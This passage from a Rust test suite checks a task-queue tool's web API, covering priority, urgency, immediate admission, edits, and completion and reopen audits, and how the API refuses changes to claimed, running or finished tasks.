18643        assert!(!q.get(&t.id).unwrap().urgent);
18644        drop(claim);
18645        for status in [
18646            TaskStatus::Running,
18647            TaskStatus::Done,
18648            TaskStatus::Failed,
18649            TaskStatus::Blocked,
18650            TaskStatus::Parked,
18651        ] {
18652            t.status = status;
18653            q.put(&mut t).unwrap();
18654            for urgent in [true, false] {
18655                let response = f
18656                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18657                    .await;
18658                assert_eq!(response.status, 400, "{}", response.body);
18659                assert!(response.body.contains(status.as_str()));
18660                assert!(response.body.contains("queued or held"));
18661                assert!(!q.get(&t.id).unwrap().urgent);
18662            }
18663        }
18664        assert_eq!(
18665            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18666                .await
18667                .status,
18668            404
18669        );
18670    }
18671
18672    #[test]
18673    fn immediate_request_requires_a_boolean_and_rejects_unknown_fields() {
18674        for immediate in [true, false] {
18675            let body: ImmediateBody =
18676                serde_json::from_value(serde_json::json!({ "immediate": immediate })).unwrap();
18677            assert_eq!(body.immediate, immediate);
18678        }
18679        for input in [
18680            r#"{}"#,
18681            r#"{"immediate":null}"#,
18682            r#"{"immediate":"true"}"#,
18683            r#"{"immediate":1}"#,
18684            r#"{"immediate":true,"extra":false}"#,
18685        ] {
18686            assert!(
18687                serde_json::from_str::<ImmediateBody>(input).is_err(),
18688                "{input}"
18689            );
18690        }
18691    }
18692
18693    #[tokio::test]
18694    async fn immediate_api_updates_preserves_urgent_returns_admission_and_validates_tasks() {
18695        let f = Fixture::start().await;
18696        let q = f.queue();
18697        let mut t = Task::new(
18698            "immediate API".into(),
18699            "unchanged".into(),
18700            PathBuf::from("/repo/magi"),
18701            Source::Human,
18702        );
18703        t.attempts = 2;
18704        t.priority = 9;
18705        t.interrupt = true;
18706        t.urgent = true;
18707        t.hold_reason = Some("waiting for approval".into());
18708        for status in [TaskStatus::Queued, TaskStatus::Held] {
18709            t.status = status;
18710            q.put(&mut t).unwrap();
18711            for immediate in [true, true, false, false] {
18712                let response = f
18713                    .post(
18714                        &format!("/api/queue/{}/immediate", t.short()),
18715                        Some(&format!("{{\"immediate\":{immediate}}}")),
18716                    )
18717                    .await;
18718                assert_eq!(response.status, 200, "{}", response.body);
18719                let payload = response.json();
18720                assert_eq!(payload["immediate"], immediate);
18721                assert_eq!(payload["urgent"], true);
18722                if immediate {
18723                    assert_eq!(payload["admission"]["mode"], "immediate");
18724                    let label = payload["admission"]["label"].as_str().unwrap_or_default();
18725                    assert!(
18726                        !label.contains("claimed by another process"),
18727                        "mutate must drop its claim before computing admission: {payload}"
18728                    );
18729                    if status == TaskStatus::Held {
18730                        assert_eq!(label, "Immediate: waiting — held (waiting for approval)");
18731                    }
18732                }
18733                let saved = q.get(&t.id).unwrap();
18734                let mut before = serde_json::to_value(&t).unwrap();
18735                let mut after = serde_json::to_value(saved).unwrap();
18736                before["immediate"] = immediate.into();
18737                before.as_object_mut().unwrap().remove("updated_at");
18738                after.as_object_mut().unwrap().remove("updated_at");
18739                assert_eq!(after, before);
18740            }
18741        }
18742        let route = format!("/api/queue/{}/immediate", t.id);
18743        for body in [
18744            r#"{}"#,
18745            r#"{"immediate":null}"#,
18746            r#"{"immediate":"true"}"#,
18747            r#"{"immediate":1}"#,
18748            r#"{"immediate":true,"extra":false}"#,
18749            "{",
18750        ] {
18751            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18752        }
18753        t.status = TaskStatus::Queued;
18754        q.put(&mut t).unwrap();
18755        let claim = q.claim(&t.id).unwrap();
18756        let response = f.post(&route, Some(r#"{"immediate":true}"#)).await;
18757        assert_eq!(response.status, 409, "{}", response.body);
18758        assert!(!q.get(&t.id).unwrap().immediate);
18759        drop(claim);
18760        for status in [
18761            TaskStatus::Running,
18762            TaskStatus::Done,
18763            TaskStatus::Failed,
18764            TaskStatus::Blocked,
18765            TaskStatus::Parked,
18766        ] {
18767            t.status = status;
18768            q.put(&mut t).unwrap();
18769            for immediate in [true, false] {
18770                let response = f
18771                    .post(&route, Some(&format!("{{\"immediate\":{immediate}}}")))
18772                    .await;
18773                assert_eq!(response.status, 400, "{}", response.body);
18774                assert!(response.body.contains(status.as_str()));
18775                assert!(response.body.contains("queued or held"));
18776                assert!(!q.get(&t.id).unwrap().immediate);
18777            }
18778        }
18779        assert_eq!(
18780            f.post(
18781                "/api/queue/missing/immediate",
18782                Some(r#"{"immediate":true}"#)
18783            )
18784            .await
18785            .status,
18786            404
18787        );
18788    }
18789
18790    #[tokio::test]
18791    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18792        let f = Fixture::start().await;
18793        let queue = f.queue();
18794        let mut older = Task::new(
18795            "filed first".to_owned(),
18796            "x".to_owned(),
18797            PathBuf::from("/repo/magi"),
18798            Source::Human,
18799        );
18800        older.id = "20260101-000001-aaaa".to_owned();
18801        let mut newer = Task::new(
18802            "filed second".to_owned(),
18803            "x".to_owned(),
18804            PathBuf::from("/repo/magi"),
18805            Source::Human,
18806        );
18807        newer.id = "20260101-000002-bbbb".to_owned();
18808        queue.put(&mut older).expect("file older");
18809        queue.put(&mut newer).expect("file newer");
18810
18811        // Equal priority: the newer task leads, the same order the old
18812        // newest-first `list()` already gave every equal-priority queue.
18813        let before = f.get("/api/queue").await.json();
18814        assert_eq!(before[0]["id"], newer.id);
18815        assert_eq!(before[1]["id"], older.id);
18816
18817        // Raising the *older* task is the meaningful case: it can only lead
18818        // now because its priority says so, not because it happens to be
18819        // newest.
18820        let raised = f
18821            .post(
18822                &format!("/api/queue/{}/priority", older.id),
18823                Some(r#"{"priority":10}"#),
18824            )
18825            .await;
18826        assert_eq!(raised.status, 200, "{}", raised.body);
18827        assert_eq!(raised.json()["priority"], 10);
18828
18829        let after = f.get("/api/queue").await.json();
18830        let names: Vec<&str> = after
18831            .as_array()
18832            .unwrap()
18833            .iter()
18834            .map(|t| t["id"].as_str().unwrap())
18835            .collect();
18836        // Highest priority first, which is the order next_runnable and
18837        // `magi task list` both use - GET /api/queue must agree with it
18838        // immediately, not just once the loop claims the task.
18839        assert_eq!(names[0], older.id, "the raised task now sorts first");
18840    }
18841
18842    #[tokio::test]
18843    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18844        let f = Fixture::start().await;
18845        let queue = f.queue();
18846        let mut tasks = Vec::new();
18847        for id in [
18848            "20260101-000001-aaaa",
18849            "20260101-000002-bbbb",
18850            "20260101-000003-cccc",
18851        ] {
18852            let mut task = Task::new(
18853                id.into(),
18854                "x".into(),
18855                PathBuf::from("/repo/magi"),
18856                Source::Human,
18857            );
18858            task.id = id.into();
18859            queue.put(&mut task).unwrap();
18860            tasks.push(task);
18861        }
18862        assert_eq!(
18863            queue.next_runnable().unwrap().id,
18864            tasks[0].id,
18865            "equal priorities use ascending id"
18866        );
18867        let route = format!("/api/queue/{}/priority", tasks[2].id);
18868        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18869        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18870        tasks[1].start("upgrade-run".into());
18871        tasks[1].park("upgrade");
18872        tasks[1].record_pass_at(
18873            "upgrade-run",
18874            0,
18875            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18876            1,
18877            Some(crate::run::ParkCause::Upgrade {
18878                from: "old".into(),
18879                to: None,
18880            }),
18881        );
18882        queue.put(&mut tasks[1]).unwrap();
18883        let rows = f.get("/api/queue").await.json();
18884        let upgrade = rows
18885            .as_array()
18886            .unwrap()
18887            .iter()
18888            .find(|row| row["id"] == tasks[1].id)
18889            .unwrap();
18890        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18891        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18892        tasks[2] = queue.get(&tasks[2].id).unwrap();
18893        tasks[2].start("running-run".into());
18894        queue.put(&mut tasks[2]).unwrap();
18895        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18896        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18897    }
18898
18899    #[tokio::test]
18900    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18901        let dir = TempDir::new().unwrap();
18902        let q = Queue::at(dir.path().join("queue"));
18903        let ui = Arc::new(Ui::new(
18904            q.clone(),
18905            Questions::at(dir.path().join("questions")),
18906            Talks::at(dir.path().join("talks")),
18907            dir.path().join("runs"),
18908            dir.path().to_path_buf(),
18909            dir.path().to_path_buf(),
18910        ));
18911        let mut t = Task::new(
18912            "budget".into(),
18913            "keep".into(),
18914            dir.path().into(),
18915            Source::Human,
18916        );
18917        t.attempts = 2;
18918        t.runs.push("prior-run".into());
18919        t.hold_manual(Some("waiting".into()));
18920        q.put(&mut t).unwrap();
18921        let change = |value| {
18922            queue_attempt_limit(
18923                State(ui.clone()),
18924                Path(t.id.clone()),
18925                Ok(Json(AttemptLimitBody {
18926                    attempt_limit: value,
18927                })),
18928            )
18929        };
18930        for value in [
18931            serde_json::json!(3),
18932            serde_json::Value::Null,
18933            serde_json::json!(1),
18934        ] {
18935            let response = change(value.clone()).await.unwrap();
18936            assert_eq!(
18937                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18938                value
18939            );
18940            let saved = q.get(&t.id).unwrap();
18941            assert_eq!(
18942                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18943                value
18944            );
18945            assert_eq!(saved.status, TaskStatus::Held);
18946            assert_eq!(saved.attempts, t.attempts);
18947            assert_eq!(saved.runs, t.runs);
18948            assert_eq!(saved.hold_reason, t.hold_reason);
18949            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18950                .await
18951                .unwrap()
18952                .0;
18953            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18954            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18955            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18956            assert_eq!(outcome.max_attempts, detail.max_attempts);
18957        }
18958        for value in [
18959            serde_json::json!(0),
18960            serde_json::json!(-1),
18961            serde_json::json!(1.5),
18962            serde_json::json!("3"),
18963            serde_json::json!(true),
18964        ] {
18965            assert_eq!(
18966                change(value).await.err().unwrap().status,
18967                StatusCode::BAD_REQUEST
18968            );
18969        }
18970        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18971        let claim = q.claim(&t.id).unwrap();
18972        assert_eq!(
18973            change(serde_json::json!(4)).await.err().unwrap().status,
18974            StatusCode::CONFLICT
18975        );
18976        drop(claim);
18977        for status in [
18978            TaskStatus::Running,
18979            TaskStatus::Done,
18980            TaskStatus::Failed,
18981            TaskStatus::Blocked,
18982            TaskStatus::Parked,
18983        ] {
18984            let mut stored = q.get(&t.id).unwrap();
18985            stored.status = status;
18986            q.put(&mut stored).unwrap();
18987            assert_eq!(
18988                change(serde_json::json!(4)).await.err().unwrap().status,
18989                StatusCode::BAD_REQUEST
18990            );
18991            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18992        }
18993        let mut stored = q.get(&t.id).unwrap();
18994        stored.status = TaskStatus::Queued;
18995        q.put(&mut stored).unwrap();
18996        let _ = change(serde_json::Value::Null).await.unwrap();
18997        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18998    }
18999
19000    #[tokio::test]
19001    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
19002        let dir = TempDir::new().unwrap();
19003        let repo = dir.path().join("repo");
19004        std::fs::create_dir(&repo).unwrap();
19005        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
19006        let q = Queue::at(dir.path().join("queue"));
19007        let ui = Arc::new(Ui::new(
19008            q.clone(),
19009            Questions::at(dir.path().join("questions")),
19010            Talks::at(dir.path().join("talks")),
19011            dir.path().join("runs"),
19012            dir.path().to_path_buf(),
19013            repo.clone(),
19014        ));
19015        let mut t = Task::new(
19016            "seats".into(),
19017            "keep instruction".into(),
19018            repo,
19019            Source::Human,
19020        );
19021        t.runs.push("prior-run".into());
19022        t.hold_manual(Some("waiting".into()));
19023        q.put(&mut t).unwrap();
19024        let change = |count| {
19025            queue_implementers(
19026                State(ui.clone()),
19027                Path(t.id.clone()),
19028                Ok(Json(ImplementersBody {
19029                    implementers: count,
19030                })),
19031            )
19032        };
19033        for count in [2, 1, 2] {
19034            let response = change(count).await.unwrap();
19035            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
19036            let saved = q.get(&t.id).unwrap();
19037            assert_eq!(saved.implementers(), Some(usize::from(count)));
19038            assert_eq!(saved.runs, t.runs);
19039            assert_eq!(saved.instruction, t.instruction);
19040        }
19041        for count in [0, 4] {
19042            assert_eq!(
19043                change(count).await.err().unwrap().status,
19044                StatusCode::BAD_REQUEST
19045            );
19046        }
19047        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
19048        let claim = q.claim(&t.id).unwrap();
19049        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
19050        drop(claim);
19051        for status in [
19052            TaskStatus::Running,
19053            TaskStatus::Done,
19054            TaskStatus::Failed,
19055            TaskStatus::Blocked,
19056            TaskStatus::Parked,
19057        ] {
19058            let mut stored = q.get(&t.id).unwrap();
19059            stored.status = status;
19060            q.put(&mut stored).unwrap();
19061            assert_eq!(
19062                change(1).await.err().unwrap().status,
19063                StatusCode::BAD_REQUEST
19064            );
19065            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
19066        }
19067    }
19068
19069    #[tokio::test]
19070    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
19071        let f = Fixture::start().await;
19072        let queue = f.queue();
19073        let mut task = Task::new(
19074            "in flight".to_owned(),
19075            "x".to_owned(),
19076            PathBuf::from("/repo/magi"),
19077            Source::Human,
19078        );
19079        task.start("20260902-140502-bbbb".to_owned());
19080        queue.put(&mut task).expect("file the task");
19081
19082        let res = f
19083            .post(
19084                &format!("/api/queue/{}/priority", task.id),
19085                Some(r#"{"priority":9}"#),
19086            )
19087            .await;
19088        assert_eq!(res.status, 400, "{}", res.body);
19089        assert!(
19090            res.json()["error"]
19091                .as_str()
19092                .is_some_and(|e| e.contains("running")),
19093            "{}",
19094            res.body
19095        );
19096        assert_eq!(
19097            queue.get(&task.id).expect("reload").priority,
19098            0,
19099            "the refused write must not partially apply"
19100        );
19101    }
19102
19103    #[tokio::test]
19104    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
19105        let f = Fixture::start().await;
19106        let queue = f.queue();
19107        let mut task = Task::new(
19108            "old title".to_owned(),
19109            "old instruction".to_owned(),
19110            PathBuf::from("/repo/magi"),
19111            Source::Agent {
19112                run: "20260101-000000-beef".to_owned(),
19113                node: "implement".to_owned(),
19114            },
19115        );
19116        task.runs.push("20260101-000000-beef".to_owned());
19117        queue.put(&mut task).expect("file the task");
19118        let created_at = task.created_at;
19119
19120        let edited = f
19121            .post(
19122                &format!("/api/queue/{}/edit", task.id),
19123                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
19124            )
19125            .await;
19126        assert_eq!(edited.status, 200, "{}", edited.body);
19127        let body = edited.json();
19128        assert_eq!(body["title"], "new title");
19129        assert_eq!(body["instruction"], "new instruction");
19130        assert_eq!(body["id"], task.id, "editing must not mint a new id");
19131        assert_eq!(body["created_at"], created_at.to_string());
19132        assert_eq!(
19133            body["source"]["kind"], "agent",
19134            "editing a task an agent filed must not turn it human: {body}"
19135        );
19136        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
19137
19138        let reloaded = queue.get(&task.id).expect("reload");
19139        assert_eq!(reloaded.title, "new title");
19140        assert_eq!(reloaded.instruction, "new instruction");
19141    }
19142
19143    #[tokio::test]
19144    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
19145        // The judge is an agent now: a repo whose only agent answers
19146        // "duplicate" stands in for it, so the refusal is the judge's.
19147        let tmp = TempDir::new().expect("tempdir");
19148        let repo = tmp.path().join("repo");
19149        std::fs::create_dir_all(&repo).expect("repo dir");
19150        let judge = MOCK_AGENT_TOML.replace(
19151            "printf ok",
19152            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
19153        );
19154        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
19155        let f = Fixture::with_repo(repo.clone()).await;
19156        let queue = f.queue();
19157        let mut owner = Task::new(
19158            "owner".to_owned(),
19159            "review it".to_owned(),
19160            repo.clone(),
19161            Source::Human,
19162        );
19163        owner.review_branch = Some("magi/ab12/A".to_owned());
19164        queue.put(&mut owner).expect("file the owner");
19165        let mut task = Task::new(
19166            "draft".to_owned(),
19167            "old".to_owned(),
19168            repo.clone(),
19169            Source::Human,
19170        );
19171        queue.put(&mut task).expect("file the draft");
19172        let url = format!("/api/queue/{}/edit", task.id);
19173
19174        let refused = f
19175            .post(
19176                &url,
19177                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
19178            )
19179            .await;
19180        assert_eq!(refused.status, 409, "{}", refused.body);
19181        let msg = refused.json()["error"]
19182            .as_str()
19183            .unwrap_or_default()
19184            .to_owned();
19185        assert!(
19186            msg.contains("magi/ab12/A") && msg.contains("force"),
19187            "{msg}"
19188        );
19189        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
19190
19191        let forced = f
19192            .post(
19193                &url,
19194                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
19195            )
19196            .await;
19197        assert_eq!(forced.status, 200, "{}", forced.body);
19198    }
19199
19200    #[tokio::test]
19201    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
19202        let f = Fixture::start().await;
19203        let queue = f.queue();
19204        let mut task = Task::new(
19205            "in flight".to_owned(),
19206            "do not touch".to_owned(),
19207            PathBuf::from("/repo/magi"),
19208            Source::Human,
19209        );
19210        task.start("20260902-140502-bbbb".to_owned());
19211        queue.put(&mut task).expect("file the task");
19212
19213        let res = f
19214            .post(
19215                &format!("/api/queue/{}/edit", task.id),
19216                Some(r#"{"title":"x","instruction":"y"}"#),
19217            )
19218            .await;
19219        assert_eq!(res.status, 400, "{}", res.body);
19220        assert!(
19221            res.json()["error"]
19222                .as_str()
19223                .is_some_and(|e| e.contains("running")),
19224            "{}",
19225            res.body
19226        );
19227        assert_eq!(
19228            queue.get(&task.id).expect("reload").instruction,
19229            "do not touch",
19230            "the refused edit must not change the file"
19231        );
19232    }
19233
19234    #[tokio::test]
19235    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
19236        let f = Fixture::start().await;
19237        let queue = f.queue();
19238        let mut task = Task::new(
19239            "busy".to_owned(),
19240            "Running right now".to_owned(),
19241            PathBuf::from("/repo/magi"),
19242            Source::Human,
19243        );
19244        queue.put(&mut task).expect("file the task");
19245        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
19246
19247        let priority = f
19248            .post(
19249                &format!("/api/queue/{}/priority", task.id),
19250                Some(r#"{"priority":9}"#),
19251            )
19252            .await;
19253        assert_eq!(priority.status, 409, "{}", priority.body);
19254
19255        let edit = f
19256            .post(
19257                &format!("/api/queue/{}/edit", task.id),
19258                Some(r#"{"title":"x","instruction":"y"}"#),
19259            )
19260            .await;
19261        assert_eq!(edit.status, 409, "{}", edit.body);
19262    }
19263
19264    #[tokio::test]
19265    async fn web_completion_distinguishes_missing_and_claimed_tasks() {
19266        let f = Fixture::start().await;
19267        let queue = f.queue();
19268        let mut task = Task::new(
19269            "claimed".into(),
19270            "leave unchanged".into(),
19271            f.home.path().into(),
19272            Source::Human,
19273        );
19274        queue.put(&mut task).unwrap();
19275        let _claim = queue.claim(&task.id).unwrap();
19276        for (action, body) in [("done", None), ("reopen", Some(r#"{"reason":"inspect"}"#))] {
19277            let missing = f.post(&format!("/api/queue/missing/{action}"), body).await;
19278            assert_eq!(missing.status, 404, "{}", missing.body);
19279            assert!(missing.json()["error"].as_str().unwrap().contains("task"));
19280
19281            let busy = f
19282                .post(&format!("/api/queue/{}/{action}", task.short()), body)
19283                .await;
19284            assert_eq!(busy.status, 409, "{}", busy.body);
19285            assert!(busy.json()["error"].as_str().unwrap().contains("claimed"));
19286        }
19287        let unchanged = queue.get(&task.id).unwrap();
19288        assert_eq!(unchanged.status, TaskStatus::Queued);
19289        assert!(unchanged.completion_history.is_empty());
19290    }
19291
19292    #[test]
19293    fn web_completion_reports_a_stale_commit_as_a_conflict() {
19294        let home = TempDir::new().unwrap();
19295        let queue = Queue::at(home.path().join("queue"));
19296        let mut current = Task::new(
19297            "stale".into(),
19298            "original".into(),
19299            home.path().into(),
19300            Source::Human,
19301        );
19302        queue.put(&mut current).unwrap();
19303        let expected = current.clone();
19304        current.instruction = "updated".into();
19305        queue.put(&mut current).unwrap();
19306
19307        let mut decision = expected.clone();
19308        decision.status = TaskStatus::Done;
19309        let error = queue
19310            .commit_completion(&mut decision, &expected)
19311            .unwrap_err();
19312        assert_eq!(ApiError::completion(error).status, StatusCode::CONFLICT);
19313        let saved = queue.get(&current.id).unwrap();
19314        assert_eq!(saved.status, TaskStatus::Queued);
19315        assert_eq!(saved.instruction, "updated");
19316    }
19317
19318    #[tokio::test]
19319    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
19320        let f = Fixture::start().await;
19321        let queue = f.queue();
19322        let mut task = Task::new(
19323            "shipped by hand".to_owned(),
19324            "merged outside the loop".to_owned(),
19325            PathBuf::from("/repo/magi"),
19326            Source::Agent {
19327                run: "20260101-000000-b455".to_owned(),
19328                node: "implement".to_owned(),
19329            },
19330        );
19331        task.runs.push("20260101-000000-b455".to_owned());
19332        task.runs.push("20260101-000000-9af4".to_owned());
19333        queue.put(&mut task).expect("file the task");
19334        let created_at = task.created_at;
19335
19336        let done = f
19337            .post(
19338                &format!("/api/queue/{}/done", task.id),
19339                Some(r#"{"discard":true,"reason":"owner cancelled retained work"}"#),
19340            )
19341            .await;
19342        assert_eq!(done.status, 200, "{}", done.body);
19343        assert_eq!(done.json()["status_str"], "done");
19344
19345        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
19346        assert_eq!(
19347            reloaded.runs,
19348            ["20260101-000000-b455", "20260101-000000-9af4"]
19349        );
19350        assert_eq!(
19351            reloaded.source,
19352            Source::Agent {
19353                run: "20260101-000000-b455".to_owned(),
19354                node: "implement".to_owned(),
19355            }
19356        );
19357        assert_eq!(reloaded.created_at, created_at);
19358        let event = reloaded
19359            .completion_history
19360            .last()
19361            .expect("completion audit");
19362        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19363        assert!(event.discard);
19364        assert_eq!(
19365            event.reason.as_deref(),
19366            Some("owner cancelled retained work")
19367        );
19368        let detail = f.get(&format!("/api/queue/{}", task.id)).await;
19369        assert_eq!(
19370            detail.json()["completion_history"][0]["occurrence"],
19371            event.occurrence
19372        );
19373    }
19374
19375    #[tokio::test]
19376    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
19377        // Explicit discard may close held work without a release; the current
19378        // hold clears while the completion audit preserves its prior status.
19379        let f = Fixture::start().await;
19380        let queue = f.queue();
19381        let mut task = Task::new(
19382            "landed while held".to_owned(),
19383            "x".to_owned(),
19384            PathBuf::from("/repo/magi"),
19385            Source::Human,
19386        );
19387        task.hold_manual(Some("waiting on 3ed9".to_owned()));
19388        queue.put(&mut task).expect("file the held task");
19389
19390        let done = f
19391            .post(
19392                &format!("/api/queue/{}/done", task.id),
19393                Some(r#"{"discard":true,"reason":"no longer needed"}"#),
19394            )
19395            .await;
19396        assert_eq!(done.status, 200, "{}", done.body);
19397        assert_eq!(done.json()["status_str"], "done");
19398        assert!(
19399            done.json()["hold_reason"].is_null(),
19400            "a done task cannot still be waiting on something: {}",
19401            done.body
19402        );
19403    }
19404
19405    #[tokio::test]
19406    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
19407        // `queue_done` is the phone's way to close a task the loop never
19408        // settled itself - after confirming a manual GitHub merge, say - and
19409        // that is just as much "this task's story is over" as the loop's own
19410        // `Merged` path, so it must trigger the same cleanup.
19411        let f = Fixture::start().await;
19412        let queue = f.queue();
19413        let runs = f.runs();
19414        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
19415        // The last attempt has to have actually landed for the earlier one
19416        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
19417        // for the case where it didn't.
19418        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
19419
19420        let mut task = Task::new(
19421            "landed by hand".to_owned(),
19422            "x".to_owned(),
19423            PathBuf::from("/repo/magi"),
19424            Source::Human,
19425        );
19426        task.runs.push("20260101-000000-doa1".to_owned());
19427        task.runs.push("20260101-000000-doa2".to_owned());
19428        let mut landed = read_run(&runs, "20260101-000000-doa2").unwrap();
19429        landed.task_instruction = Some(task.instruction.clone());
19430        landed.task_instruction_rev = Some(task.instruction_rev);
19431        landed.merge = Some(crate::run::MergeOutcome {
19432            mode: crate::config::MergeMode::Pr,
19433            ok: true,
19434            detail: "confirmed merge".into(),
19435            empty: false,
19436        });
19437        write_state(&runs, &landed);
19438        queue.put(&mut task).expect("file the task");
19439
19440        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
19441        assert_eq!(done.status, 200, "{}", done.body);
19442
19443        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
19444            .expect("run still on disk under this fixture's own home");
19445        assert_eq!(
19446            reloaded_run.status,
19447            RunStatus::Superseded,
19448            "closing the task by hand must relabel the earlier blocked attempt exactly \
19449             like the loop's own settle path does"
19450        );
19451    }
19452
19453    #[tokio::test]
19454    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
19455        // Intentional discard preserves unsuccessful runs as unsuccessful:
19456        // closing the task does not claim they were delivered or superseded.
19457        let f = Fixture::start().await;
19458        let queue = f.queue();
19459        let runs = f.runs();
19460        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
19461        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
19462
19463        let mut task = Task::new(
19464            "closed with nothing actually landed".to_owned(),
19465            "x".to_owned(),
19466            PathBuf::from("/repo/magi"),
19467            Source::Human,
19468        );
19469        task.runs.push("20260101-000000-dob1".to_owned());
19470        task.runs.push("20260101-000000-dob2".to_owned());
19471        queue.put(&mut task).expect("file the task");
19472
19473        let done = f
19474            .post(
19475                &format!("/api/queue/{}/done", task.id),
19476                Some(r#"{"discard":true,"reason":"stop this work"}"#),
19477            )
19478            .await;
19479        assert_eq!(done.status, 200, "{}", done.body);
19480
19481        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
19482            .expect("run still on disk under this fixture's own home");
19483        assert_eq!(
19484            reloaded_run.status,
19485            RunStatus::Blocked,
19486            "the last recorded attempt never landed, so the earlier one must not be \
19487             relabelled as superseded by it"
19488        );
19489    }
19490
19491    #[tokio::test]
19492    async fn web_completion_requires_discard_and_reopens_to_held_with_an_audit() {
19493        let f = Fixture::start().await;
19494        let queue = f.queue();
19495        let mut task = Task::new(
19496            "unstarted".into(),
19497            "keep its history".into(),
19498            PathBuf::from("/repo/magi"),
19499            Source::Human,
19500        );
19501        write_run(&f.runs(), "20260101-000000-aud1", RunStatus::Failed);
19502        task.runs.push("20260101-000000-aud1".into());
19503        queue.put(&mut task).unwrap();
19504        let path = format!("/api/queue/{}/done", task.id);
19505        let refused = f.post(&path, None).await;
19506        assert_eq!(refused.status, 400, "{}", refused.body);
19507        let blank = f
19508            .post(&path, Some(r#"{"discard":true,"reason":" "}"#))
19509            .await;
19510        assert_eq!(blank.status, 400, "{}", blank.body);
19511        assert!(blank.body.contains("--discard requires a non-empty reason"));
19512        assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Queued);
19513        assert!(queue.get(&task.id).unwrap().completion_history.is_empty());
19514        let closed = f
19515            .post(
19516                &path,
19517                Some(r#"{"discard":true,"reason":"owner stopped work"}"#),
19518            )
19519            .await;
19520        assert_eq!(closed.status, 200, "{}", closed.body);
19521        let reopen_path = format!("/api/queue/{}/reopen", task.id);
19522        let no_reason = f.post(&reopen_path, Some(r#"{"reason":" "}"#)).await;
19523        assert_eq!(no_reason.status, 400, "{}", no_reason.body);
19524        let reopened = f
19525            .post(&reopen_path, Some(r#"{"reason":"premature closure"}"#))
19526            .await;
19527        assert_eq!(reopened.status, 200, "{}", reopened.body);
19528        let saved = queue.get(&task.id).unwrap();
19529        assert_eq!(saved.status, TaskStatus::Held);
19530        assert_eq!(saved.completion_history.len(), 2);
19531        let event = &saved.completion_history[1];
19532        assert_eq!(event.action, crate::queue::CompletionAction::Reopen);
19533        assert_eq!(event.actor, crate::queue::CompletionActor::Web);
19534        assert_eq!(event.prior_status, TaskStatus::Done);
19535        assert_eq!(event.reason.as_deref(), Some("premature closure"));
19536    }
19537
19538    #[tokio::test]
19539    async fn unknown_ids_are_json_not_found_on_both_stores() {
19540        let f = Fixture::start().await;
19541
19542        let run = f.get("/api/runs/nosuchrun").await;
19543        let task = f.post("/api/queue/nosuchtask/hold", None).await;
19544
19545        assert_eq!(run.status, 404);
19546        assert_eq!(task.status, 404);
19547        assert!(
19548            run.json()["error"]
19549                .as_str()
19550                .is_some_and(|e| e.contains("run")),
19551            "the error names what was not found: {}",
19552            run.body
19553        );
19554        assert!(
19555            task.json()["error"]
19556                .as_str()
19557                .is_some_and(|e| e.contains("task")),
19558            "the error names what was not found: {}",
19559            task.body
19560        );
19561    }
19562
19563    #[tokio::test]
19564    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
19565        let f = Fixture::start().await;
19566
19567        let missing = f.get("/api/health").await.json();
19568        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
19569
19570        write_daemon(
19571            f.home.path(),
